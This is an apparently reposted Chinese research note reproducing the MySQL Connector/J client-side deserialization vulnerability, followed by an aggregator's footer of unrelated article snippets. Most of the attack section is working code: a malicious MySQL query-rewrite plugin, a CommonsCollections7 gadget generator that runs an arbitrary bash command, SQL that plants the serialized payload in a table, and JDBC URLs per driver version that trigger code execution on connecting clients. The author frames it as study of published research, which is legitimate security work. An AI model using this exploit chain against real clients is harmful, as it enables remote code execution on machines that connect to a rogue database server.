dual mysql 获取序列_MySQL JDBC客户端反序列化漏洞

53e44b1d3b7d5b9150849a001e0cc1d7.png

标题: MySQL JDBC客户端反序列化漏洞

☆ 背景介绍
☆ 学习思路
☆ 搭建测试环境
☆ 恶意MySQL插件
    1) 获取MySQL 5.7.28源码
    2) 在rewrite_example基础上修改出evilreplace
☆ 测试rewriter插件
    1) 安装rewriter.so
    2) 在服务端替换SQL查询语句
    3) 卸载rewriter.so
    4) rewriter插件的局限性
☆ 漏洞相关的SQL查询语句
    1) SHOW SESSION STATUS
    2) SHOW COLLATION
☆ 复现漏洞
    1) GenerateCommonsCollections7.java
    2) 创建恶意表
    3) 用evilreplace插件改变SQL查询语句
    4) JDBCClient.java
    5) MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)
        5.1) 8.x
            5.1.1) 简化版调用关系
            5.1.2) mysql-connector-java-8.0.14.pcap
        5.2) 6.x
            5.2.2) mysql-connector-java-6.0.3.pcap
        5.3) 5.1.11及以上版本
            5.3.2) mysql-connector-java-5.1.40.pcap
    6) MySQL Connector/J 各版本所需URL(detectCustomCollations)
        6.1) 5.1.29-5.1.40
            6.1.1) 简化版调用关系
            6.1.2) mysql-connector-java-5.1.40_d.pcap
        6.2) 5.1.19-5.1.28
            6.2.2) mysql-connector-java-5.1.19_d.pcap
    7) Python版恶意服务端
        7.1) fnmsd的实现
        7.2) 其他思路
☆ 参考资源

☆ 背景介绍

2019年11月底Yang Zhang等人在BlackHat上有个议题,提到MySQL JDBC客户端反序列化漏洞,用到ServerStatusDiffInterceptor,参[1]。

2019年12月Welkin给出了部分细节,但当时未解决恶意服务端的组建问题,参[2]。

codeplutos利用修改过的MySQL插件成功组建恶意服务端,这个脑洞开得可以。与此同时,他演示了另一条利用路径,用到detectCustomCollations。需要指出,他的方案原理同时适用于ServerStatusDiffInterceptor、detectCustomCollations,他只以后者举例而已。参[3]。

2020年4月fnmsd分析MySQL Connector/J各版本后给出大一统的总结,给出不同版本所需URL,给了Python版恶意服务端,参[4]。

2020年5月我学习前几位的大作,写了这篇笔记。

☆ 学习思路

先将[1]、[2]、[3]、[4]全看了一遍,没做实验,只是看。对这个洞大概有点数,通过JDBC建立到MySQL服务端的连接时,有几个内置的SQL查询语句被发出,其中两个查询的结果集在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化。通过控制结果集,可以在客户端搞事,具体危害视客户端拥有的Gadget环境而定。

这两个查询语句是:

SHOW SESSION STATUS
SHOW COLLATION

利用MySQL插件机制将这两个查询语句在服务端"重定向"成查询恶意表,恶意表中某字段存放恶意Object。

需要安装MySQL,创建恶意表,编译定制过的恶意MySQL插件。写一个通用的JDBC客户端程序,用之访问恶意服务端。用Wireshark抓包,基于抓包数据用Python实现简版恶意服务端,这样可以避免陷入MySQL私有协议细节当中。

☆ 搭建测试环境

参看

《恶意MySQL Server读取MySQL Client端文件》
http://scz.617.cn/network/202001101612.txt

☆ 恶意MySQL插件

1) 获取MySQL 5.7.28源码

https://repo.mysql.com/yum/mysql-5.7-community/el/7/SRPMS/mysql-community-5.7.28-1.el7.src.rpm

2) 在rewrite_example基础上修改出evilreplace

$ vi evilreplace.cc

#include 
#include 

#include 
#include 
#include 
#include 
#include  // my_thread_handle needed by mysql_memory.h
#include 

/* instrument the memory allocation */
#ifdef HAVE_PSI_INTERFACE
static PSI_memory_key key_memory_evilreplace;

static PSI_memory_info all_rewrite_memory[]=
{
  { &key_memory_evilreplace, "evilreplace", 0 }
};

static int plugin_init(MYSQL_PLUGIN){
  const char* category= "sql";
  int count;

  count= array_elements(all_rewrite_memory);
  mysql_memory_register(category, all_rewrite_memory, count);
  return 0; /* success */
}
#else
#define plugin_init NULL
#define key_memory_evilreplace PSI_NOT_INSTRUMENTED
#endif /* HAVE_PSI_INTERFACE */


static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class,const void *event){
  if (event_class == MYSQL_AUDIT_PARSE_CLASS)
  {
    const struct mysql_event_parse *event_parse=static_cast(event);
    if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE)
    {
        if
        (
            ( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 )
            ||
            ( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 )
        )
        {
            char    evilsql[]       = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;";
            char   *rewritten_query = static_cast<char *>
            (
                my_malloc
                (
                    key_memory_evilreplace,
                    strlen( evilsql ) + 1,
                    MYF(0)
                )
            );
            strcpy( rewritten_query, evilsql );
            event_parse->rewritten_query->str       = rewritten_query;
            event_parse->rewritten_query->length    = strlen( evilsql ) + 1;
            *((int *)event_parse->flags)           |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;
        }
    }
  }

  return 0;
}

/* Audit plugin descriptor */
static struct st_mysql_audit evilreplace_descriptor=
{
  MYSQL_AUDIT_INTERFACE_VERSION,                    /* interface version */
  NULL,                                             /* release_thd()     */
  rewrite_lower,                                    /* event_notify()    */
  { 0,
    0,
    (unsigned long) MYSQL_AUDIT_PARSE_ALL, }        /* class mask        */
};

/* Plugin descriptor */
mysql_declare_plugin(audit_log)
{
  MYSQL_AUDIT_PLUGIN,             /* plugin type                   */
  &evilreplace_descriptor,    /* type specific descriptor      */
  "evilreplace",              /* plugin name                   */
  "Oracle",                       /* author                        */
  "An example of a query rewrite"
  " plugin that rewrites all queries"
  " to lower case",               /* description                   */
  PLUGIN_LICENSE_GPL,             /* license                       */
  plugin_init,                    /* plugin initializer            */
  NULL,                           /* plugin deinitializer          */
  0x0002,                         /* version                       */
  NULL,                           /* status variables              */
  NULL,                           /* system variables              */
  NULL,                           /* reserverd                     */
  0                               /* flags                         */
}
mysql_declare_plugin_end;

参[3],codeplutos介绍了Ubuntu 16.04下的MySQL插件编译方案。各发行版的编译过程差别较大,RedHat 7.6上明显不同,建议先搞清楚如何编译MySQL源码,再来编译单个插件。

编译:

/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \
-D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \
-Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \
-I//mysql-5.7.28/include \
-I//mysql-5.7.28/extra/rapidjson/include \
-I//mysql-5.7.28/libbinlogevents/include \
-I//mysql-5.7.28/libbinlogevents/export \
-isystem //mysql-5.7.28/zlib \
-I//mysql-5.7.28/sql \
-I//mysql-5.7.28/sql/auth \
-I//mysql-5.7.28/regex \
-o evilreplace.cc.o \
-c evilreplace.cc

链接:

/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \
-O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \
-fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \
evilreplace.cc.o -lpthread \
//libmysqlservices.a -lpthread

☆ 测试rewriter插件

rewriter.so是自带的插件,不需要源码编译。

1) 安装rewriter.so

查看:

/usr/share/mysql/install_rewriter.sql

除了安装rewriter.so,还涉及辅助表和存储过程的创建。

mysql> source /usr/share/mysql/install_rewriter.sql

这会多出query_rewrite库、query_rewrite.rewrite_rules表。

mysql> show plugins;
+----------------------------+----------+--------------------+----------------------+---------+
| Name                       | Status   | Type               | Library              | License |
+----------------------------+----------+--------------------+----------------------+---------+
...
| Rewriter                   | ACTIVE   | AUDIT              | rewriter.so          | GPL     |
+----------------------------+----------+--------------------+----------------------+---------+

mysql> SHOW GLOBAL VARIABLES LIKE 'rewriter_enabled';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| rewriter_enabled | ON    |
+------------------+-------+

2) 在服务端替换SQL查询语句

向query_rewrite.rewrite_rules表中插入替换规则:

mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1');

调用存储过程刷新,使之热生效:

mysql> call query_rewrite.flush_rewrite_rules();

测试替换规则:

mysql> select line from sczdb.SczTable;
+---------------------------------+
| line                            |
+---------------------------------+
| root:x:0:0:root:/root:/bin/bash |
+---------------------------------+

3) 卸载rewriter.so

mysql> source /usr/share/mysql/uninstall_rewriter.sql

只有退出当前客户端才彻底卸载rewriter插件,否则其仍在生效中。

4) rewriter插件的局限性

清空表,二选一,推荐后者:

delete from query_rewrite.rewrite_rules;
truncate table query_rewrite.rewrite_rules;

mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable');

mysql> select * from query_rewrite.rewrite_rules;
+----+---------------------+------------------+--------------------------------+---------+---------+----------------+--------------------+
| id | pattern             | pattern_database | replacement                    | enabled | message | pattern_digest | normalized_pattern |
+----+---------------------+------------------+--------------------------------+---------+---------+----------------+--------------------+
|  1 | SHOW SESSION STATUS | NULL             | select * from evildb.eviltable | YES     | NULL    | NULL           | NULL               |
+----+---------------------+------------------+--------------------------------+---------+---------+----------------+--------------------+

mysql> call query_rewrite.flush_rewrite_rules();
ERROR 1644 (45000): Loading of some rule(s) failed.

调用存储过程刷新时意外失败,查看失败原因:

mysql> select message from query_rewrite.rewrite_rules;
+-------------------------------------------+
| message                                   |
+-------------------------------------------+
| Pattern needs to be a a select statement. |
+-------------------------------------------+

pattern必须是select语句,show语句不行。

据说5.7的pattern只支持select,8.0支持insert、update、delete,未实测验证。难怪codeplutos要修改rewrite_example.cc。

☆ 漏洞相关的SQL查询语句

1) SHOW SESSION STATUS

mysql> help SHOW
...
SHOW COLLATION [like_or_where]
...
SHOW [GLOBAL | SESSION] STATUS [like_or_where]
...
If the syntax for a given SHOW statement includes a LIKE 'pattern'
part, 'pattern' is a string that can contain the SQL % and _ wildcard
characters. The pattern is useful for restricting statement output to
matching values.

...

URL: https://dev.mysql.com/doc/refman/5.7/en/show.html

mysql> help SHOW STATUS

...

URL: https://dev.mysql.com/doc/refman/5.7/en/show-status.html

"SHOW SESSION STATUS"访问INFORMATION_SCHEMA.SESSION_STATUS表。参[2],作者说访问INFORMATION_SCHEMA.SESSION_VARIABLES表,他应该说错了。

查看INFORMATION_SCHEMA.SESSION_STATUS表结构:

mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS';
+--------------------+----------------+----------------+---------------+
| table_schema       | table_name     | column_name    | column_type   |
+--------------------+----------------+----------------+---------------+
| information_schema | SESSION_STATUS | VARIABLE_NAME  | varchar(64)   |
| information_schema | SESSION_STATUS | VARIABLE_VALUE | varchar(1024) |
+--------------------+----------------+----------------+---------------+

直接访问INFORMATION_SCHEMA.SESSION_STATUS表缺省会失败:

mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56'

需要打开一个开关:

mysql> set @@global.show_compatibility_56=ON;

mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
+----------------------------+----------------+
| VARIABLE_NAME              | VARIABLE_VALUE |
+----------------------------+----------------+
| ABORTED_CLIENTS            | 1              |
| ABORTED_CONNECTS           | 0              |
| BINLOG_CACHE_DISK_USE      | 0              |
| BINLOG_CACHE_USE           | 0              |
| BINLOG_STMT_CACHE_DISK_USE | 0              |
| BINLOG_STMT_CACHE_USE      | 0              |
| BYTES_RECEIVED             | 2809           |
| BYTES_SENT                 | 11620          |
| COM_ADMIN_COMMANDS         | 0              |
| COM_ASSIGN_TO_KEYCACHE     | 0              |
+----------------------------+----------------+

2) SHOW COLLATION

mysql> help SHOW COLLATION;

...

URL: https://dev.mysql.com/doc/refman/5.7/en/show-collation.html

mysql> SHOW COLLATION WHERE Charset='latin1';
+-------------------+---------+----+---------+----------+---------+
| Collation         | Charset | Id | Default | Compiled | Sortlen |
+-------------------+---------+----+---------+----------+---------+
| latin1_german1_ci | latin1  |  5 |         | Yes      |       1 |
| latin1_swedish_ci | latin1  |  8 | Yes     | Yes      |       1 |
| latin1_danish_ci  | latin1  | 15 |         | Yes      |       1 |
| latin1_german2_ci | latin1  | 31 |         | Yes      |       2 |
| latin1_bin        | latin1  | 47 |         | Yes      |       1 |
| latin1_general_ci | latin1  | 48 |         | Yes      |       1 |
| latin1_general_cs | latin1  | 49 |         | Yes      |       1 |
| latin1_spanish_ci | latin1  | 94 |         | Yes      |       1 |
+-------------------+---------+----+---------+----------+---------+

"SHOW COLLATION"访问INFORMATION_SCHEMA.COLLATIONS表。

查看INFORMATION_SCHEMA.COLLATIONS表结构:

mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS';
+--------------------+------------+--------------------+-------------+
| table_schema       | table_name | column_name        | column_type |
+--------------------+------------+--------------------+-------------+
| information_schema | COLLATIONS | COLLATION_NAME     | varchar(32) |
| information_schema | COLLATIONS | CHARACTER_SET_NAME | varchar(32) |
| information_schema | COLLATIONS | ID                 | bigint(11)  |
| information_schema | COLLATIONS | IS_DEFAULT         | varchar(3)  |
| information_schema | COLLATIONS | IS_COMPILED        | varchar(3)  |
| information_schema | COLLATIONS | SORTLEN            | bigint(3)   |
+--------------------+------------+--------------------+-------------+

可以直接访问INFORMATION_SCHEMA.COLLATIONS表,与show_compatibility_56无关。

mysql> show variables like 'show_compatibility_56';
+-----------------------+-------+
| Variable_name         | Value |
+-----------------------+-------+
| show_compatibility_56 | OFF   |
+-----------------------+-------+

mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5;
+------------------+--------------------+----+------------+-------------+---------+
| COLLATION_NAME   | CHARACTER_SET_NAME | ID | IS_DEFAULT | IS_COMPILED | SORTLEN |
+------------------+--------------------+----+------------+-------------+---------+
| big5_chinese_ci  | big5               |  1 | Yes        | Yes         |       1 |
| big5_bin         | big5               | 84 |            | Yes         |       1 |
| dec8_swedish_ci  | dec8               |  3 | Yes        | Yes         |       1 |
| dec8_bin         | dec8               | 69 |            | Yes         |       1 |
| cp850_general_ci | cp850              |  4 | Yes        | Yes         |       1 |
+------------------+--------------------+----+------------+-------------+---------+

☆ 复现漏洞

1) GenerateCommonsCollections7.java

/*
 * javac -encoding GBK -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java
 * java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
 */
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

public class GenerateCommonsCollections7{
    /*
     * ysoserial/CommonsCollections7
     */
    @SuppressWarnings("unchecked")
    private static Object getObject ( String cmd ) throws Exception{
        Transformer[]   tarray      = new Transformer[]
        {
            new ConstantTransformer( Runtime.class ),
            new InvokerTransformer
            (
                "getMethod",
                new Class[]
                {
                    String.class,
                    Class[].class
                },
                new Object[]
                {
                    "getRuntime",
                    new Class[0]
                }
            ),
            new InvokerTransformer
            (
                "invoke",
                new Class[]
                {
                    Object.class,
                    Object[].class
                },
                new Object[]
                {
                    null,
                    new Object[0]
                }
            ),
            new InvokerTransformer
            (
                "exec",
                new Class[]
                {
                    String[].class
                },
                new Object[]
                {
                    new String[]
                    {
                        "/bin/bash",
                        "-c",
                        cmd
                    }
                }
            )
        };
        Transformer     tchain      = new ChainedTransformer( new Transformer[0] );
        Map             normalMap_0 = new HashMap();
        Map             normalMap_1 = new HashMap();
        Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );
        Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );
        lazyMap_0.put( "scz", "same" );
        lazyMap_1.put( "tDz", "same" );
        Hashtable       ht          = new Hashtable();
        ht.put( lazyMap_0, "value_0" );
        ht.put( lazyMap_1, "value_1" );
        lazyMap_1.remove( "scz" );
        Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );
        f.setAccessible( true );
        f.set( tchain, tarray );
        return( ht );
    }

    public static void main ( String[] argv ) throws Exception{
        String              cmd     = argv[0];
        String              out     = argv[1];
        Object              obj     = getObject( cmd );
        FileOutputStream    fos = new FileOutputStream( out );
        ObjectOutputStream  oos = new ObjectOutputStream( fos );
        oos.writeObject( obj );
        oos.close();
        fos.close();
    }
}
java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
xxd -p -c 1000000 /tmp/out.bin

输出形如:

aced00057372…3178

2) 创建恶意表

DROP TABLE IF EXISTS evildb.eviltable;
DROP DATABASE IF EXISTS evildb;

CREATE DATABASE IF NOT EXISTS evildb;
CREATE TABLE IF NOT EXISTS evildb.eviltable
(
    evil_1  int(5),
    evil_2  blob,
    evil_3  int(5)
);

set @obj=0xaced00057372...3178;

INSERT INTO evildb.eviltable VALUES (1, @obj, 3);

UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3;

select lower(hex(evil_2)) from evildb.eviltable;

SHOW GRANTS FOR root;
GRANT ALL ON evildb.eviltable TO 'root'@'%';
REVOKE ALL ON evildb.eviltable FROM 'root'@'%';

evil_1、evil_3也可以用blob类型,填充同样的@obj,触发点略有差异。上面演示的恶意表是最小集,通吃。

3) 用evilreplace插件改变SQL查询语句

用evilreplace插件将来自客户端的:

SHOW SESSION STATUS
SHOW COLLATION

替换成:

select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;

参[3],这是codeplutos的思路,很有想像力,他用了自编译rewrite_example.so。

INSTALL PLUGIN evilreplace SONAME 'evilreplace.so';

SHOW SESSION STATUS;
SHOW COLLATION;

UNINSTALL PLUGIN evilreplace;

4) JDBCClient.java

/*
 * javac -encoding GBK -g JDBCClient.java
 */
import java.io.*;
import java.sql.*;

public class JDBCClient{
    public static void main ( String[] argv ) throws Exception{
        String      url     = argv[0];
        Connection  conn    = DriverManager.getConnection( url );
    }
}

JDBCClient.java无需显式代码:

Class.forName( "com.mysql.cj.jdbc.Driver" );

5) MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)

参[4],fnmsd分析了各种版本所需URL。

5.1) 8.x

java \
-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.1.1) 简化版调用关系

DriverManager.getConnection                                         // 8u232+8.0.14
  DriverManager.getConnection                                       // DriverManager:270
    NonRegisteringDriver.connect                                    // DriverManager:664
      ConnectionImpl.getInstance                                    // NonRegisteringDriver:199
        ConnectionImpl.                                       // ConnectionImpl:240
          ConnectionImpl.initializeSafeQueryInterceptors            // ConnectionImpl:448
          ConnectionImpl.createNewIO                                // ConnectionImpl:455
            ConnectionImpl.connectOneTryOnly                        // ConnectionImpl:825
              ConnectionImpl.initializePropsFromServer              // ConnectionImpl:966
                ConnectionImpl.handleAutoCommitDefaults             // ConnectionImpl:1327
                  ConnectionImpl.setAutoCommit                      // ConnectionImpl:1382
                    NativeSession.execSQL                           // ConnectionImpl:2064// 查询语句"SET autocommit=1"
                      NativeProtocol.sendQueryString                // NativeSession:1154
                        NativeProtocol.sendQueryPacket              // NativeProtocol:921if (this.queryInterceptors != null)       // NativeProtocol:969
                          NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970
                            NoSubInterceptorWrapper.preProcess      // NativeProtocol:1144
                              ServerStatusDiffInterceptor.preProcess// NoSubInterceptorWrapper:76
                                ServerStatusDiffInterceptor.populateMapWithSessionStatusValues// ServerStatusDiffInterceptor:105
                                  rs = stmt.executeQuery("SHOW SESSION STATUS")// ServerStatusDiffInterceptor:86// 自动提交SQL查询
                                  ResultSetUtil.resultSetToMap      // ServerStatusDiffInterceptor:87
                                    ResultSetImpl.getObject         // ResultSetUtil:46// mappedValues.put(rs.getObject(1), rs.getObject(2))// 处理结果集中第1、2列if ((field.isBinary()) || (field.isBlob()))// ResultSetImpl:1314
                                      byte[] data = getBytes(columnIndex)// ResultSetImpl:1315if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())// ResultSetImpl:1317// 要求autoDeserialize等于true
                                      ObjectInputStream.readObject  // ResultSetImpl:1326// obj = objIn.readObject();
                                        Hashtable.readObject        // ysoserial/CommonsCollections7
                                          Hashtable.reconstitutionPut
                                            AbstractMapDecorator.equals
                                              AbstractMap.equals
                                                LazyMap.get         // 此处开始LazyMap利用链
                                                  ChainedTransformer.transform
                                                    InvokerTransformer.transform
                                                      Runtime.execif (this.queryInterceptors != null)       // NativeProtocol:1109
                          NativeProtocol.invokeQueryInterceptorsPost// NativeProtocol:1110

5.1.2) mysql-connector-java-8.0.14.pcap

请自行抓包,此处略

5.2) 6.x

queryInterceptors => statementInterceptors

java \
-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.2.2) mysql-connector-java-6.0.3.pcap

请自行抓包,此处略

5.3) 5.1.11及以上版本

com.mysql.cj. => com.mysql.

java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"

5.3.2) mysql-connector-java-5.1.40.pcap

请自行抓包,此处略

6) MySQL Connector/J 各版本所需URL(detectCustomCollations)

参[3],触发方式是codeplutos提供的。重点看这个函数:

com.mysql.jdbc.ConnectionImpl.buildCollationMapping()

参[4],fnmsd分析了各种版本所需URL。

6.1) 5.1.29-5.1.40

java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&detectCustomCollations=true"

会抛异常,但恶意代码已被执行。

6.1.1) 简化版调用关系

DriverManager.getConnection                                         // 8u232+5.1.40
  DriverManager.getConnection                                       // DriverManager:270
    NonRegisteringDriver.connect                                    // DriverManager:664
      ConnectionImpl.getInstance                                    // NonRegisteringDriver:328
        Util.handleNewInstance                                      // ConnectionImpl:410
          Constructor.newInstance                                   // Util:425JDBC4Connection.<init>ConnectionImpl.<init>                                 // JDBC4Connection:47ConnectionImpl.initializeSafeStatementInterceptors  // ConnectionImpl:805ConnectionImpl.createNewIO                          // ConnectionImpl:806ConnectionImpl.connectOneTryOnly                  // ConnectionImpl:2083ConnectionImpl.initializePropsFromServer        // ConnectionImpl:2297if (versionMeetsMinimum(3, 21, 22))           // ConnectionImpl:3282ConnectionImpl.buildCollationMapping          // ConnectionImpl:3291if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations()))// ConnectionImpl:944// 5.1.28版只检查版本号,未检查detectCustomCollations属性results = stmt.executeQuery("SHOW COLLATION")// ConnectionImpl:957// 自动提交SQL查询if (versionMeetsMinimum(5, 0, 0))           // ConnectionImpl:958Util.resultSetToMap                         // ConnectionImpl:959// Util.resultSetToMap(sortedCollationMap, results, 3, 2)// 处理结果集中第3、2列ResultSetImpl.getObject                   // Util:474// mappedValues.put(rs.getObject(key), rs.getObject(value))ResultSetImpl.getObjectDeserializingIfNeeded// ResultSetImpl:4544byte[] data = getBytes(columnIndex)   // ResultSetImpl:4568ObjectInputStream.readObject          // ResultSetImpl:4579// obj = objIn.readObject()Hashtable.readObject                // ysoserial/CommonsCollections7Hashtable.reconstitutionPutAbstractMapDecorator.equalsAbstractMap.equalsLazyMap.get                 // 此处开始LazyMap利用链ChainedTransformer.transformInvokerTransformer.transformRuntime.exec

6.1.2) mysql-connector-java-5.1.40_d.pcap

请自行抓包,此处略

6.2) 5.1.19-5.1.28

不需要指定"detectCustomCollations=true"

java \
-cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true"

6.2.2) mysql-connector-java-5.1.19_d.pcap

请自行抓包,此处略

7) Python版恶意服务端

7.1) fnmsd的实现

https://github.com/fnmsd/MySQL_Fake_Server

他这个实现同时支持ServerStatusDiffInterceptor、detectCustomCollations,还支持"恶意MySQL Server读取MySQL Client端文件",只需要Python3。

他在"踩过的坑"里写了一些值得注意的点,有兴趣者可以看他的源码。

7.2) 其他思路

fnmsd的实现,功能完备。如果只是想搞标题所说漏洞,我说个别的思路。可以基于Gifts版本实现反序列化恶意服务端:

https://github.com/Gifts/Rogue-MySql-Server

ServerStatusDiffInterceptor适用范围包含detectCustomCollations适用范围,为了减少麻烦,可以只支持ServerStatusDiffInterceptor。具体来说,就是只特殊响应"SHOW SESSION STATUS",不特殊响应"SHOW COLLATION"。

基于三次抓包组织响应报文:

mysql-connector-java-5.1.40.pcap
mysql-connector-java-6.0.3.pcap
mysql-connector-java-8.0.14.pcap

要点如下:

5.1.11及以上版本
6.x

    特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的
    "SHOW WARNINGS"。
8.x
    按抓包所示响应初始查询:
    /* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ...
    然后按抓包所示响应随后而来的"SHOW WARNINGS"。
    特殊响应"SHOW SESSION STATUS",然后必须特殊响应随后而来的
    "SHOW WARNINGS"。

这种搞法的好处是不用特别理解MySQL私有协议,fnmsd"踩过的坑"你都不会碰上。

十多年前我们按协议规范组织SMB报文时,有天看到某人在PoC里用了一个变量名,叫sendcode,他实际是把Ethereal抓包看到数据直接投放出来。当时我们很震惊,不是佩服得震惊。后来觉得某些场景下这样干,也没什么可鄙视的。

基于三次抓包组织响应报文的思路,跟sendcode异曲同工,比你想像得要通用。

当然,如果不是特别好奇,还是用fnmsd的实现吧。

☆ 参考资源

[1] New Exploit Technique In Java Deserialization Attack - Yang Zhang [2019-11-26]
    https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

[2] JDBC导致的反序列化攻击 - Welkin [2019-12-17]
    https://www.cnblogs.com/Welk1n/p/12056097.html

[3] https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload

[4] MySQL JDBC客户端反序列化漏洞分析 - fnmsd [2020-04-15]
    https://www.anquanke.com/post/id/203086
    https://blog.csdn.net/fnmsd/article/details/106232092

    https://github.com/fnmsd/MySQL_Fake_Server

[5] 6.2 Connection URL Syntax
    https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html

    6.3 Configuration Properties
    https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html

    13.7.5.25 SHOW PLUGINS Statement
    https://dev.mysql.com/doc/refman/5.7/en/show-plugins.html

    24.10 The INFORMATION_SCHEMA GLOBAL_STATUS and SESSION_STATUS Tables
    https://dev.mysql.com/doc/refman/5.7/en/status-table.html

    14.6.4.1 COM_QUERY Response
    https://dev.mysql.com/doc/internals/en/com-query-response.html

    14.7.3 Binary Protocol Value
    https://dev.mysql.com/doc/internals/en/binary-protocol-value.html

    14.12.2 ProtocolText::Resultset
    https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html

本篇TXT原文:
http://scz.617.cn/network/202005262206.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/264715.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

kali linux之edb--CrossFire缓冲区溢出

漏洞的罪恶根源------变量&#xff0c;数据与代码边界不清&#xff0c;开发人员对用户输入没做过滤&#xff0c;或者过滤不严 如这个脚本&#xff0c;写什么&#xff0c;显示什么&#xff0c;但是加上&#xff1b;&#xff0c;|&#xff0c;&&&#xff0c;后面加上系统…

SQL连接查询深度探险

测试环境&#xff1a;Windows XP ProfessionMySQL 5.0.45Oracle 9iDB2 UDB 9.1测试的SQL脚本如下&#xff1a;此脚本适合MySQL、DB2&#xff0c;如果要在Oracle上执行&#xff0c;需要做个替换BIGINTINTEGER、VARCHARVARCHAR2。CREATETABLECUSTOMERS (ID BIGINT NOTNULL,NAME V…

自锁时间电路plc_1篇文章,4幅图,了解PLC接线和控制图就是这么简单

有网友留言说看不懂plc梯形图&#xff0c;不知道如何将电气控制原理图转化为plc接线图&#xff0c;今天就系统的来看一下plc的原理和接线&#xff0c;再转化为plc接线图&#xff0c;我们需要借助一个最简单的单向过载保护的自锁控制电路。来看一下电路元器件&#xff0c;FR热机…

Python~字典快速上手

目录 Key的重要性 一 创建字典{} 二 字典用key查找 in(遍历)和[]用key查找 keyerror in和[]的效率对比 三 字典的插入/修改/删除(先查找) ​编辑 四 字典增删查改/遍历的效率 五 字典的遍历 for遍历可迭代对象拿到key 与创建顺序相同 keys/values/items方法 六 可…

活动目录服务器(windows server 2008)

